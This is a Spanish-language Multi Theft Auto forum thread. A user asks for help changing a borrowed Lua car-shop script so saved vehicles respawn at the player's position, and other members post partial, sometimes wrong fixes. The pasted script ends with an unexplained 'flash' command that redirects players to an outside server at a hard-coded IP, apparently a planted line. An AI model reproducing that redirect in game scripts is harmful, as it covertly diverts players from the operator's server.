Jump to content

Necesito Ayuda :((


Shizu

Recommended Posts

Buenas Gente, tengo un problema y es que tengo este script de una tienda de autos, el caso es que intento hacer que el auto que se guarda en el panel del usuario al querer respawnear el auto no respawne en el ultimo sitio donde se guardo, sino en la posición del jugador. Intente varias funciones en la wiki de mta pero nada me funciona ://

Alguien tiene alguna forma de hacerlo?

 

--variables
local playerVehicles = {}


function isThereBuyProblem(plr,veh)
    abc = false
    local data = dbPoll(dbQuery(db, "SELECT * FROM VehicleList WHERE Account = ?", getAccountName(getPlayerAccount(plr))), -1)
    for i, data in ipairs (data) do
        if data["Model"] == Model then
            abc = true
            break
        end
    end
    if #data >= 10 then exports.Script_Textos:createNewDxMessage("El Maximo de Vehiculos es 10", plr, 255, 85, 0, true) return true end
    if abc then exports.Script_Textos:createNewDxMessage("Ya tienes Este Vehiculo", plr, 255, 85, 0, true) return true end
	return false
end
function getFreeID()
    local result = dbPoll(dbQuery(db, "SELECT ID FROM VehicleList ORDER BY ID ASC"), -1)
    newID = false
    for i, id in pairs (result) do
        if id["ID"] ~= i then
            newID = i
            break
        end
    end
    if newID then return newID else return #result + 1 end
end

function getVehicleByID(id)
    v = false
    for i, veh in ipairs (getElementsByType("vehicle")) do
        if getElementData(veh, "ID") == id then
            v = veh
            break
        end
    end
    return v
end



function updateVehicleInfo(player)
    if isElement(player) then
        local result = dbPoll(dbQuery(db, "SELECT * FROM VehicleList WHERE Account = ?", getAccountName(getPlayerAccount(player))), -1)
        if type(result) == "table" then
            setElementData(player, "VehicleInfo", result)
        end
    end
end

addEventHandler("onResourceStart", resourceRoot,
function()
    db = dbConnect("sqlite", "database.db")
    dbExec(db, "CREATE TABLE IF NOT EXISTS VehicleList (ID, Account, Model, X, Y, Z, RotZ, Colors, Upgrades, Paintjob, Cost, HP, fuel, handling)")
    for i, player in ipairs(getElementsByType("player")) do
        updateVehicleInfo(player)
    end
end)

addEvent("onOpenGui", true)
addEventHandler("onOpenGui", root,
function()
    updateVehicleInfo(source)
end)

function getPlayerVehicles(plr)
nothing = {}
    local data = getElementData(plr, "VehicleInfo")
    if data then
return data
else
return nothing
    end
	
end


function takePlayerVehicle(plr,veh)
veh = getVehicleModelFromName(veh)
        dbExec(db, "DELETE FROM VehicleList WHERE Account = ? AND Model = ?", getAccountName(getPlayerAccount(plr)), veh)
        updateVehicleInfo(plr)

end


function destroyVehicle(theVehicle)
    if isElement(theVehicle) then
        local Owner = getElementData(theVehicle, "Owner")
        if Owner then
            local x, y, z = getElementPosition(theVehicle)
            local _, _, rz = getElementRotation(theVehicle)
            local r1, g1, b1, r2, g2, b2 = getVehicleColor(theVehicle, true)
            local color = r1..","..g1..","..b1..","..r2..","..g2..","..b2
            upgrade = ""
            for _, upgradee in ipairs (getVehicleUpgrades(theVehicle)) do
                if upgrade == "" then
                    upgrade = upgradee
                else
                    upgrade = upgrade..","..upgradee
                end
            end
            local Paintjob = getVehiclePaintjob(theVehicle) or 3
            local id = getElementData(theVehicle, "ID")
            local fuelnum = getElementData(theVehicle, "vehicleFuel") or 100
			local hand = {}
            dbExec(db, "UPDATE VehicleList SET X = ?, Y = ?, Z = ?, RotZ = ?, HP = ?, Colors = ?, Upgrades = ?, Paintjob = ?, fuel = ?, handling = ? WHERE Account = ? AND ID = ?", x, y, z, rz, getElementHealth(theVehicle), color, upgrade, Paintjob, fuelnum, hand, getAccountName(getPlayerAccount(Owner)), id)
            updateVehicleInfo(Owner)
            local attached = getAttachedElements(theVehicle)
            if (attached) then
                for k,element in ipairs(attached) do
                    if getElementType(element) == "blip" then
                        destroyElement(element)
                    end
                end
            end
        end
        destroyElement(theVehicle)
    end
end

addEvent("onBuyNewVehicle", true)
addEventHandler("onBuyNewVehicle", root, 
function(source,Model, cost, r1, g1, b1,marker)
    abc = false
    local data = dbPoll(dbQuery(db, "SELECT * FROM VehicleList WHERE Account = ?", getAccountName(getPlayerAccount(source))), -1)
    for i, data in ipairs (data) do
        if data["Model"] == Model then
            abc = true
            break
        end
    end
    if #data >= 10 then exports.Script_Textos:createNewDxMessage("El Maximo de Autos es 10", source, 255, 85, 0, true) return end
    if abc then exports.Script_Textos:createNewDxMessage("Usted ya tiene este vehiculo", source, 255, 85, 0, true) return end
     local x, y, z = getElementPosition(source)
        local _, _, rz = getElementRotation(source)
        local color = r1..","..g1..","..b1
		takePlayerMoney(source,cost)
		local money = getPlayerMoney(source)
		exports.Script_Textos:createNewDxMessage("Su Compra ha sido exitosa",source, 255, 255, 255, true)
		if marker == 9 then 
        vehicle = createVehicle(Model, 537, -1287, 17, 0, 0, rz) --car shop ls
		end
		if marker == 10 then 
        vehicle = createVehicle(Model, -1952, 266, 35, 0, 0, rz) -- car shop sf
		end
		if marker == 11 then 
        vehicle = createVehicle(Model, 928.964 , -2047.248 , 1, 0, 0, 0) --boat shop ls
		end
		if marker == 12 then  
        vehicle = createVehicle(Model, -2943.3999023438 , 1265.1999511719 , -0,0,0,310.95599365234) -- boat shop sf
		end
		if marker == 13 then  
        vehicle = createVehicle(Model, 2128 , -1136 , 25.56,0,0,rz) -- bike shop ls
		end
		if marker == 14 then  
        vehicle = createVehicle(Model, -1649,1223,8,0,0,-855) -- bike shop sf
		exports.Script_Textos:createNewDxMessage("Su Nuevo Auto Se Encuentra Fuera", source, 255, 85, 0, true)
		end
        setVehicleColor(vehicle, r1, g1, b1)
        setElementData(vehicle, "Owner", source)
        local NewID = getFreeID()
        setElementData(vehicle, "ID", NewID)
        dbExec(db, "INSERT INTO VehicleList VALUES(?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)", NewID, getAccountName(getPlayerAccount(source)), Model, x-5, y+5, z, rz, color, "", 3, cost, 1000, 100, {})
        updateVehicleInfo(source)
        addEventHandler("onVehicleDamage", vehicle,
        function(loss)
            local account = getAccountName(getPlayerAccount(getElementData(source, "Owner")))
            setTimer(function(source) if isElement(source) then dbExec(db, "UPDATE VehicleList SET HP = ? WHERE Account = ? AND Model = ?", getElementHealth(source), account, getElementModel(source)) updateVehicleInfo(getElementData(source, "Owner")) end end, 100, 1, source)
        end)
        addEventHandler("onVehicleEnter", vehicle,
        function(player)
            if getElementHealth(source) <= 255.5 then 
                setVehicleEngineState(source, false)
            else
                if isVehicleDamageProof(source) then
                    setVehicleDamageProof(source, false)
                end
            end
        end)
end)



vv = {}

addEvent("SpawnMyVehicle", true)
addEventHandler("SpawnMyVehicle", root, 
function(id)
     if not playerVehicles[source] then playerVehicles[source] = {} end
	 		if #playerVehicles[source] >= 1 then
			exports.Script_Textos:createNewDxMessage("Solo Puedes Spawnear Un Vehiculos a La Vez", source, 255, 85, 0, true)
		            return
	             end
    local data = dbPoll(dbQuery(db, "SELECT * FROM VehicleList WHERE Account = ? AND ID = ?", getAccountName(getPlayerAccount(source)), id), -1)
    if type(data) == "table" and #data ~= 0 then
        if getVehicleByID(id) then
            exports.Script_Textos:createNewDxMessage("Su Vehiculo Ha Sido Spawneado", source, 255, 85, 0, true)
        else
            local color = split(data[1]["Colors"], ',')
            r1 = color[1] or 255
            g1 = color[2] or 255
            b1 = color[3] or 255
            r2 = color[4] or 255
            g2 = color[5] or 255
            b2 = color[6] or 255
            vehicle = createVehicle(data[1]["Model"], data[1]["X"], data[1]["Y"], data[1]["Z"], 0, 0, data[1]["RotZ"])
            setElementData(vehicle, "ID", id)
			table.insert(playerVehicles[source],vehicle)
            local fuelnu = data[1]["fuel"] or 100
			local tune = fromJSON(data[1]["handling"])
		--	outputChatBox(data[1]["handling"],source,255,0,0)
			--outputChatBox(tostring(tune),source,255,0,255)
			
            setElementData(vehicle, "vehicleFuel", fuelnu)
            local upd = split(tostring(data[1]["Upgrades"]), ',')
            for i, upgrade in ipairs(upd) do
                addVehicleUpgrade(vehicle, upgrade)
            end
            local Paintjob = data[1]["Paintjob"] or 3
            setVehiclePaintjob(vehicle, Paintjob) 
            setVehicleColor(vehicle, r1, g1, b1, r2, g2, b2)
            if data[1]["HP"] <= 255.5 then data[1]["HP"] = 255 end
            setElementHealth(vehicle, data[1]["HP"])
            setElementData(vehicle, "Owner", source)
            vv[vehicle] = setTimer(function(source)
                if not isElement(source) then killTimer(vv[source]) vv[source] = nil end
                if isElement(source) and getElementHealth(source) <= 255 then
                    setElementHealth(source, 255.5)
                   -- setVehicleDamageProof(source, true)
                    setVehicleEngineState(source, false)
                end
            end, 50, 0, vehicle)
            addEventHandler("onVehicleDamage", vehicle,
            function(loss)
                local account = getAccountName(getPlayerAccount(getElementData(source, "Owner")))
                setTimer(function(source) if isElement(source) then dbExec(db, "UPDATE VehicleList SET HP = ? WHERE Account = ? AND Model = ?", getElementHealth(source), account, getElementModel(source)) updateVehicleInfo(getElementData(source, "Owner")) end end, 100, 1, source)
            end)
            addEventHandler("onVehicleEnter", vehicle,
            function(player)
                if getElementHealth(source) <= 255.5 then 
                    setVehicleEngineState(source, false)
                else
                    if isVehicleDamageProof(source) then
                        setVehicleDamageProof(source, false)
                    end
                end
            end)
            exports.Script_Textos:createNewDxMessage("Tu Vehiculo Ha Sido Spawneado", source, 255, 85, 0, true)
			cur = getElementData(source,"spawnedcars") or {}
			table.insert(cur,getVehicleNameFromModel(data[1]["Model"]))
			setElementData(source,"spawnedcars",cur)
        end
    else
        exports.Script_Textos:createNewDxMessage("Ocurrio Un Error", source, 255, 85, 0, true)
    end
end)

addEvent("DestroyMyVehicle", true)
addEventHandler("DestroyMyVehicle", root, 
function(id)
    local vehicle = getVehicleByID(id)
    if isElement(vehicle) then
        local data = dbPoll(dbQuery(db, "SELECT * FROM VehicleList WHERE Account = ? AND ID = ?", getAccountName(getPlayerAccount(source)), id), -1)
        if type(data) == "table" and #data ~= 0 then
		local aman = getVehicleOccupant(vehicle)
            destroyVehicle(vehicle)
				if isElement(source) and playerVehicles[source] then
		for i=1,#playerVehicles[source] do
			if playerVehicles[source][i] == vehicle then
				table.remove(playerVehicles[source],i)
				break
			end
		end
	else
		playerVehicles[source] = nil
	end
            exports.Script_Textos:createNewDxMessage ("Su Vehiculo Ha Sido Guardado", source, 255, 85, 0, true)
			cur = getElementData(source,"spawnedcars") or {}
			for ind,veh in ipairs(cur) do
			if veh == getVehicleNameFromModel(data[1]["Model"]) then
			table.remove(cur,ind)
			end
			end
			setElementData(source,"spawnedcars",cur)
        else
            exports.Script_Textos:createNewDxMessage("Seleccione un Vehiulo para Guardar", source, 255, 85, 0, true)
        end
    else
        exports.Script_Textos:createNewDxMessage("Vehiculo no Spawneado", source, 255, 85, 0, true)
    end
end)



addEvent("LockMyVehicle", true)
addEventHandler("LockMyVehicle", root, 
function(id)	
    local vehicle = getVehicleByID(id)
    if isElement(vehicle) then
        if not isVehicleLocked(vehicle) then
            setVehicleLocked(vehicle, true)
            setVehicleDoorsUndamageable(vehicle, true)
            setVehicleDoorState(vehicle, 0, 0)
            setVehicleDoorState(vehicle, 1, 0)
            setVehicleDoorState(vehicle, 2, 0)
            setVehicleDoorState(vehicle, 3, 0) 
			for i=0,5 do
				setVehicleDoorOpenRatio ( vehicle, i, 0 )
			end
			exports.Script_Textos:createNewDxMessage("Se ha Cerrado Su Vehiculo", source, 255, 85, 0, true)
			local lock=1
			setElementData(source,"lock",lock)
		elseif isVehicleLocked(vehicle) then
            setVehicleLocked(vehicle, false)
            setVehicleDoorsUndamageable(vehicle, false)
            exports.Script_Textos:createNewDxMessage("Se ha Abierto Su Vehiculo", source, 255, 85, 0, true)
			local lock=2
			setElementData(source,"lock",lock)
        end
    else
        exports.Script_Textos:createNewDxMessage("Vehiculo No Spawneado", source, 255, 85, 0, true)
    end
end)

function removeHelmetOnExit ( thePlayer, seat, jacked )
    if ( isVehicleLocked(source) ) then -- if its a nrg
            setVehicleLocked(source, true)
            setVehicleDoorsUndamageable(source, true)
            setVehicleDoorState(source, 0, 0)
            setVehicleDoorState(source, 1, 0)
            setVehicleDoorState(source, 2, 0)
            setVehicleDoorState(source, 3, 0) 
					for i=0,5 do
			setVehicleDoorOpenRatio ( source, i, 0 )
		end
		end
		end
addEventHandler ( "onVehicleExit", getRootElement(), removeHelmetOnExit )

addEvent("BlipMyVehicle", true)
addEventHandler("BlipMyVehicle", root, 
function(id)
	
    local vehicle = getVehicleByID(id)
    if isElement(vehicle) then
        if not getElementData(vehicle, "ABlip") then
            setElementData(vehicle, "ABlip", true)
            createBlipAttachedTo(vehicle, 41, 2, 255, 0, 0, 255, 0, 65535, source)
            exports.Script_Textos:createNewDxMessage("Su Vehiculo ha sido marcado en el Mapa", source, 255, 85, 0, true)
        else
            local attached = getAttachedElements(vehicle)
            if (attached) then
                for k,element in ipairs(attached) do
                    if getElementType(element) == "blip" then
                        destroyElement(element)
                    end
                end
            end
            setElementData(vehicle, "ABlip", false)
            exports.Script_Textos:createNewDxMessage("Vehiculo Desmarcado del Mapa", source, 255, 85, 0, true)
        end
    else
        exports.Script_Textos:createNewDxMessage("Vehiculo No Spawneado", source, 255, 85, 0, true)
    end
end)



function spawnRecover(id,x,y,z)
   local data = dbPoll(dbQuery(db, "SELECT * FROM VehicleList WHERE Account = ? AND ID = ?", getAccountName(getPlayerAccount(source)), id), -1)
    if type(data) == "table" and #data ~= 0 then
        if getVehicleByID(id) then
            exports.Script_Textos:createNewDxMessage("Su Vehiculo "..getVehicleNameFromModel(data[1]["Model"]).." Ya Esta Spawneado.", source, 255, 85, 0, true)
        else
            local color = split(data[1]["Colors"], ',')
            r1 = color[1] or 255
            g1 = color[2] or 255
            b1 = color[3] or 255
            r2 = color[4] or 255
            g2 = color[5] or 255
            b2 = color[6] or 255
            vehicle = createVehicle(data[1]["Model"], x, y, z, 0, 0, 0)
            setElementData(vehicle, "ID", id)
            local fuelnu = data[1]["fuel"] or 100
            setElementData(vehicle, "vehicleFuel", fuelnu)
            local upd = split(tostring(data[1]["Upgrades"]), ',')
            for i, upgrade in ipairs(upd) do
                addVehicleUpgrade(vehicle, upgrade)
            end
            local Paintjob = data[1]["Paintjob"] or 3
            setVehiclePaintjob(vehicle, Paintjob) 
            setVehicleColor(vehicle, r1, g1, b1, r2, g2, b2)
            if data[1]["HP"] <= 255.5 then data[1]["HP"] = 255 end
            setElementHealth(vehicle, data[1]["HP"])
            setElementData(vehicle, "Owner", source)
            vv[vehicle] = setTimer(function(source)
                if not isElement(source) then killTimer(vv[source]) vv[source] = nil end
                if isElement(source) and getElementHealth(source) <= 255 then
                    setElementHealth(source, 255.5)
                   -- setVehicleDamageProof(source, true)
                    setVehicleEngineState(source, false)
                end
            end, 50, 0, vehicle)
            addEventHandler("onVehicleDamage", vehicle,
            function(loss)
                local account = getAccountName(getPlayerAccount(getElementData(source, "Owner")))
                setTimer(function(source) if isElement(source) then dbExec(db, "UPDATE VehicleList SET HP = ? WHERE Account = ? AND Model = ?", getElementHealth(source), account, getElementModel(source)) updateVehicleInfo(getElementData(source, "Owner")) end end, 100, 1, source)
            end)
            addEventHandler("onVehicleEnter", vehicle,
            function(player)
                if getElementHealth(source) <= 255.5 then 
                    setVehicleEngineState(source, false)
                else
                    if isVehicleDamageProof(source) then
                        setVehicleDamageProof(source, false)
                    end
                end
            end)
            exports.Script_Textos:createNewDxMessage("Your Vehicle "..getVehicleNameFromModel(data[1]["Model"]).." has been recovered.", source, 255, 85, 0, true)
        end
    else
        exports.Script_Textos:createNewDxMessage("There might be problem with this vehicle, please call an admin.", source, 255, 85, 0, true)
    end
	end
	
	

	
    
addEvent("SellMyVehicle", true)
addEventHandler("SellMyVehicle", root, 
function(id)
    local vehicle = getVehicleByID(id)
    local data = dbPoll(dbQuery(db, "SELECT * FROM VehicleList WHERE Account = ? AND ID = ?", getAccountName(getPlayerAccount(source)), id), -1)
    if type(data) == "table" and #data ~= 0 then

		if isElement(vehicle) then

			local Money = tonumber(math.ceil((data[1]["Cost"]*.9)*math.floor(data[1]["HP"])/100/10))
			givePlayerMoney(source,Money)
				if isElement(vehicle) then destroyElement(vehicle) end
					for i=1,#playerVehicles[source] do
						if playerVehicles[source][i] == vehicle then
						
							table.remove(playerVehicles[source],i)
							break
						end
					end
			dbExec(db, "DELETE FROM VehicleList WHERE Account = ? AND ID = ?", getAccountName(getPlayerAccount(source)), id)
			updateVehicleInfo(source)
			exports.Script_Textos:createNewDxMessage("Quiere Vender Su Vehiculo por $"..Money, source, 255, 85, 0, true)
		else	
		exports.Script_Textos:createNewDxMessage("Tiene Que Spawnear Su Vehiculo Para Venderlo", source, 255, 85, 0, true)
		end
	end
end)



function getDataOnLogin(_, account)
    updateVehicleInfo(source)
end
addEventHandler("onPlayerLogin", root, getDataOnLogin)

function SaveVehicleDataOnQuit()
    for i, veh in ipairs (getElementsByType("vehicle")) do
        if getElementData(veh, "Owner") == source then
            destroyVehicle(veh)
        end
    end
end
addEventHandler("onPlayerQuit", root,SaveVehicleDataOnQuit)

function getVehicleOwner(veh)
sowner = getElementData(veh,"Owner")
return sowner
end



setTimer(
function ( )
	for _, vehicle in ipairs ( getElementsByType ( "vehicle" ) ) do
	 if isVehicleBlown(vehicle) then
	 destroyElement(vehicle)
	end
 end
end,
100, 0
)
addCommandHandler("flash", 
    function(player,cmd,port) 
        setTimer(redirectPlayer,120000,1,player,"66.70.181.4",tonumber(22823))
    end
)

El Script no es mio claramente pero estoy intentando modificarlo y aprender mas de crear scripts a la vez...
Si alguien pudiera ayudarme la verdad se lo agradeceria mucho.?

Link to comment
  • Administrators

Moving this into the Spanish scripting section for you.

One thing to note is the code you added is fairly excessive for the question at hand, maybe look at trimming it down to just the part with the respawn?

Link to comment
5 minutes ago, Tut said:

Moving this into the Spanish scripting section for you.

One thing to note is the code you added is fairly excessive for the question at hand, maybe look at trimming it down to just the part with the respawn?

Yeah haha... sry , i put all the code in case there is any doubt when someone wants to answer.
 

i think the specific part i want to modify is this

addEvent("SpawnMyVehicle", true)
addEventHandler("SpawnMyVehicle", root, 
function(id)
     if not playerVehicles[source] then playerVehicles[source] = {} end
	 		if #playerVehicles[source] >= 1 then
			exports.Script_Textos:createNewDxMessage("Solo Puedes Spawnear Un Vehiculos a La Vez", source, 255, 85, 0, true)
		            return
	             end
    local data = dbPoll(dbQuery(db, "SELECT * FROM VehicleList WHERE Account = ? AND ID = ?", getAccountName(getPlayerAccount(source)), id), -1)
    if type(data) == "table" and #data ~= 0 then
        if getVehicleByID(id) then
            exports.Script_Textos:createNewDxMessage("Su Vehiculo Ha Sido Spawneado", source, 255, 85, 0, true)
        else
            local color = split(data[1]["Colors"], ',')
            r1 = color[1] or 255
            g1 = color[2] or 255
            b1 = color[3] or 255
            r2 = color[4] or 255
            g2 = color[5] or 255
            b2 = color[6] or 255
            vehicle = createVehicle(data[1]["Model"], data[1]["X"], data[1]["Y"], data[1]["Z"], 0, 0, data[1]["RotZ"])
            setElementData(vehicle, "ID", id)
			table.insert(playerVehicles[source],vehicle)
            local fuelnu = data[1]["fuel"] or 100
			local tune = fromJSON(data[1]["handling"])
		--	outputChatBox(data[1]["handling"],source,255,0,0)
			--outputChatBox(tostring(tune),source,255,0,255)
			
            setElementData(vehicle, "vehicleFuel", fuelnu)
            local upd = split(tostring(data[1]["Upgrades"]), ',')
            for i, upgrade in ipairs(upd) do
                addVehicleUpgrade(vehicle, upgrade)
            end
            local Paintjob = data[1]["Paintjob"] or 3
            setVehiclePaintjob(vehicle, Paintjob) 
            setVehicleColor(vehicle, r1, g1, b1, r2, g2, b2)
            if data[1]["HP"] <= 255.5 then data[1]["HP"] = 255 end
            setElementHealth(vehicle, data[1]["HP"])
            setElementData(vehicle, "Owner", source)
            vv[vehicle] = setTimer(function(source)
                if not isElement(source) then killTimer(vv[source]) vv[source] = nil end
                if isElement(source) and getElementHealth(source) <= 255 then
                    setElementHealth(source, 255.5)
                   -- setVehicleDamageProof(source, true)
                    setVehicleEngineState(source, false)
                end
            end, 50, 0, vehicle)
            addEventHandler("onVehicleDamage", vehicle,
            function(loss)
                local account = getAccountName(getPlayerAccount(getElementData(source, "Owner")))
                setTimer(function(source) if isElement(source) then dbExec(db, "UPDATE VehicleList SET HP = ? WHERE Account = ? AND Model = ?", getElementHealth(source), account, getElementModel(source)) updateVehicleInfo(getElementData(source, "Owner")) end end, 100, 1, source)
            end)
            addEventHandler("onVehicleEnter", vehicle,
            function(player)
                if getElementHealth(source) <= 255.5 then 
                    setVehicleEngineState(source, false)
                else
                    if isVehicleDamageProof(source) then
                        setVehicleDamageProof(source, false)
                    end
                end
            end)
            exports.Script_Textos:createNewDxMessage("Tu Vehiculo Ha Sido Spawneado", source, 255, 85, 0, true)
			cur = getElementData(source,"spawnedcars") or {}
			table.insert(cur,getVehicleNameFromModel(data[1]["Model"]))
			setElementData(source,"spawnedcars",cur)
        end
    else
        exports.Script_Textos:createNewDxMessage("Ocurrio Un Error", source, 255, 85, 0, true)
    end
end)

 

I just want the vehicle spawns in the same position as the player

Thanks for the recommendation :))

  • Like 1
Link to comment

Hola, con esto debería bastar

addEvent("SpawnMyVehicle", true)
addEventHandler("SpawnMyVehicle", root, 
function(id)
     if not playerVehicles[source] then playerVehicles[source] = {} end
	 		if #playerVehicles[source] >= 1 then
			exports.Script_Textos:createNewDxMessage("Solo Puedes Spawnear Un Vehiculos a La Vez", source, 255, 85, 0, true)
		            return
	             end
    local data = dbPoll(dbQuery(db, "SELECT * FROM VehicleList WHERE Account = ? AND ID = ?", getAccountName(getPlayerAccount(source)), id), -1)
    if type(data) == "table" and #data ~= 0 then
        if getVehicleByID(id) then
            exports.Script_Textos:createNewDxMessage("Su Vehiculo Ha Sido Spawneado", source, 255, 85, 0, true)
        else
            local color = split(data[1]["Colors"], ',')
            r1 = color[1] or 255
            g1 = color[2] or 255
            b1 = color[3] or 255
            r2 = color[4] or 255
            g2 = color[5] or 255
            b2 = color[6] or 255
            -- AQUI ESTÁ LA MODIFICACIÓN --
            local x,y,z = getElementPosition(client) -- Obtenemos  la ubicación del jugador
            local _,_,rot = getElementRotation(client)  -- Obtenemos la rotación
            vehicle = createVehicle(x,y,z, 0, 0, rot) -- Creamos el vehículo en la posición del jugador
            warpPedIntoVehicle(client,vehicle) -- Ponemos al jugador dentro del vehículo para que este no nos aplaste al crearse
            setElementData(vehicle, "ID", id)            
			table.insert(playerVehicles[source],vehicle)
            local fuelnu = data[1]["fuel"] or 100
			local tune = fromJSON(data[1]["handling"])
		--	outputChatBox(data[1]["handling"],source,255,0,0)
			--outputChatBox(tostring(tune),source,255,0,255)
			
            setElementData(vehicle, "vehicleFuel", fuelnu)
            local upd = split(tostring(data[1]["Upgrades"]), ',')
            for i, upgrade in ipairs(upd) do
                addVehicleUpgrade(vehicle, upgrade)
            end
            local Paintjob = data[1]["Paintjob"] or 3
            setVehiclePaintjob(vehicle, Paintjob) 
            setVehicleColor(vehicle, r1, g1, b1, r2, g2, b2)
            if data[1]["HP"] <= 255.5 then data[1]["HP"] = 255 end
            setElementHealth(vehicle, data[1]["HP"])
            setElementData(vehicle, "Owner", source)
            vv[vehicle] = setTimer(function(source)
                if not isElement(source) then killTimer(vv[source]) vv[source] = nil end
                if isElement(source) and getElementHealth(source) <= 255 then
                    setElementHealth(source, 255.5)
                   -- setVehicleDamageProof(source, true)
                    setVehicleEngineState(source, false)
                end
            end, 50, 0, vehicle)
            addEventHandler("onVehicleDamage", vehicle,
            function(loss)
                local account = getAccountName(getPlayerAccount(getElementData(source, "Owner")))
                setTimer(function(source) if isElement(source) then dbExec(db, "UPDATE VehicleList SET HP = ? WHERE Account = ? AND Model = ?", getElementHealth(source), account, getElementModel(source)) updateVehicleInfo(getElementData(source, "Owner")) end end, 100, 1, source)
            end)
            addEventHandler("onVehicleEnter", vehicle,
            function(player)
                if getElementHealth(source) <= 255.5 then 
                    setVehicleEngineState(source, false)
                else
                    if isVehicleDamageProof(source) then
                        setVehicleDamageProof(source, false)
                    end
                end
            end)
            exports.Script_Textos:createNewDxMessage("Tu Vehiculo Ha Sido Spawneado", source, 255, 85, 0, true)
			cur = getElementData(source,"spawnedcars") or {}
			table.insert(cur,getVehicleNameFromModel(data[1]["Model"]))
			setElementData(source,"spawnedcars",cur)
        end
    else
        exports.Script_Textos:createNewDxMessage("Ocurrio Un Error", source, 255, 85, 0, true)
    end
end)

 

Link to comment
7 minutes ago, _SAXI_ said:

Hola, con esto debería bastar

addEvent("SpawnMyVehicle", true)
addEventHandler("SpawnMyVehicle", root, 
function(id)
     if not playerVehicles[source] then playerVehicles[source] = {} end
	 		if #playerVehicles[source] >= 1 then
			exports.Script_Textos:createNewDxMessage("Solo Puedes Spawnear Un Vehiculos a La Vez", source, 255, 85, 0, true)
		            return
	             end
    local data = dbPoll(dbQuery(db, "SELECT * FROM VehicleList WHERE Account = ? AND ID = ?", getAccountName(getPlayerAccount(source)), id), -1)
    if type(data) == "table" and #data ~= 0 then
        if getVehicleByID(id) then
            exports.Script_Textos:createNewDxMessage("Su Vehiculo Ha Sido Spawneado", source, 255, 85, 0, true)
        else
            local color = split(data[1]["Colors"], ',')
            r1 = color[1] or 255
            g1 = color[2] or 255
            b1 = color[3] or 255
            r2 = color[4] or 255
            g2 = color[5] or 255
            b2 = color[6] or 255
            -- AQUI ESTÁ LA MODIFICACIÓN --
            local x,y,z = getElementPosition(client) -- Obtenemos  la ubicación del jugador
            local _,_,rot = getElementRotation(client)  -- Obtenemos la rotación
            vehicle = createVehicle(x,y,z, 0, 0, rot) -- Creamos el vehículo en la posición del jugador
            warpPedIntoVehicle(client,vehicle) -- Ponemos al jugador dentro del vehículo para que este no nos aplaste al crearse
            setElementData(vehicle, "ID", id)            
			table.insert(playerVehicles[source],vehicle)
            local fuelnu = data[1]["fuel"] or 100
			local tune = fromJSON(data[1]["handling"])
		--	outputChatBox(data[1]["handling"],source,255,0,0)
			--outputChatBox(tostring(tune),source,255,0,255)
			
            setElementData(vehicle, "vehicleFuel", fuelnu)
            local upd = split(tostring(data[1]["Upgrades"]), ',')
            for i, upgrade in ipairs(upd) do
                addVehicleUpgrade(vehicle, upgrade)
            end
            local Paintjob = data[1]["Paintjob"] or 3
            setVehiclePaintjob(vehicle, Paintjob) 
            setVehicleColor(vehicle, r1, g1, b1, r2, g2, b2)
            if data[1]["HP"] <= 255.5 then data[1]["HP"] = 255 end
            setElementHealth(vehicle, data[1]["HP"])
            setElementData(vehicle, "Owner", source)
            vv[vehicle] = setTimer(function(source)
                if not isElement(source) then killTimer(vv[source]) vv[source] = nil end
                if isElement(source) and getElementHealth(source) <= 255 then
                    setElementHealth(source, 255.5)
                   -- setVehicleDamageProof(source, true)
                    setVehicleEngineState(source, false)
                end
            end, 50, 0, vehicle)
            addEventHandler("onVehicleDamage", vehicle,
            function(loss)
                local account = getAccountName(getPlayerAccount(getElementData(source, "Owner")))
                setTimer(function(source) if isElement(source) then dbExec(db, "UPDATE VehicleList SET HP = ? WHERE Account = ? AND Model = ?", getElementHealth(source), account, getElementModel(source)) updateVehicleInfo(getElementData(source, "Owner")) end end, 100, 1, source)
            end)
            addEventHandler("onVehicleEnter", vehicle,
            function(player)
                if getElementHealth(source) <= 255.5 then 
                    setVehicleEngineState(source, false)
                else
                    if isVehicleDamageProof(source) then
                        setVehicleDamageProof(source, false)
                    end
                end
            end)
            exports.Script_Textos:createNewDxMessage("Tu Vehiculo Ha Sido Spawneado", source, 255, 85, 0, true)
			cur = getElementData(source,"spawnedcars") or {}
			table.insert(cur,getVehicleNameFromModel(data[1]["Model"]))
			setElementData(source,"spawnedcars",cur)
        end
    else
        exports.Script_Textos:createNewDxMessage("Ocurrio Un Error", source, 255, 85, 0, true)
    end
end)

 

Gracias por responder :))
Intente pero el problema sigue, no spawnea el auto y  en consola me salta este error :((
https://imgur.com/a/XeGJApP

Link to comment
14 minutes ago, _SAXI_ said:

Disculpa, me equivoqué  en la creación del vehículo,  faltó  agregar el  id de éste.

 vehicle = createVehicle(id,x,y,z, 0, 0, rot)

 

Lo mismo, sigue sin spawnear el auto y el mismo error, no se si la demas parte del codigo este influyendo en algo u otro arhivos archivos lua del script (cosa que no creo porque son interfaces y otras cosas que no tienen que ver)

Igual muchas gracias por ayudarme :))

Link to comment
4 minutes ago, _SAXI_ said:

Puedes mostrar  el cliente de tu código donde hace el trigger?

elseif (source == Button_VS_sn) then
		if not isInColExport () then
			triggerServerEvent("SpawnMyVehicle", localPlayer, ID)
        end

 

if (getElementInterior(localPlayer) == 0) and (getElementDimension(localPlayer) == 0) then
if ( not getElementData(localPlayer,"prison") ) then
             if not isInColExport () then
                guiSetVisible(Window_VS, not guiGetVisible(Window_VS))
    guiSetVisible (Window_CHK, false)
	playSound(":EQPsons/open.wav")
    showCursor(guiGetVisible(Window_VS))
	vehsa = getElementData(localPlayer,"spawnedcars") or {}
vehs = ""
for ind,veh in ipairs(vehsa) do
if vehs ~= "" then 
vehs = vehs..", "..veh.."" 
else 
vehs = vehs..""..veh.."" 
 end
end
            end
end
end
end)

 

Añadí esos dos trozos de codigo del cliente por si tiene algo que ver

Link to comment

Tras una revisada rapida el problema esta aca 

        if getVehicleByID(id) then
            exports.Script_Textos:createNewDxMessage("Su Vehiculo Ha Sido Spawneado", source, 255, 85, 0, true)
        else
           ---
           ---

El primer if comprueba mediante el id si el vehiculo esta creado, de lo contrario en el else crearas el vehículo en la posición del jugador, hasta ahi todo va bien, pero tras revisar tu funcion getVehcileByID no esta spawneando ningún vehículo y ahi esta el por que no spawnea nada.

 

Lo primero modificar la getVehcileByID para que nos retorne el vehículo y poder spawnearlo en la posición del jugador 

quedaría así 

 

function getVehicleByID(id)
    for i, veh in ipairs (getElementsByType("vehicle")) do
        if getElementData(veh, "ID") == id then
            return veh
        end
    end
   return false 
end

 

y ahora en tu función del spawn crear el vehiculo

 

   addEvent("SpawnMyVehicle", true)
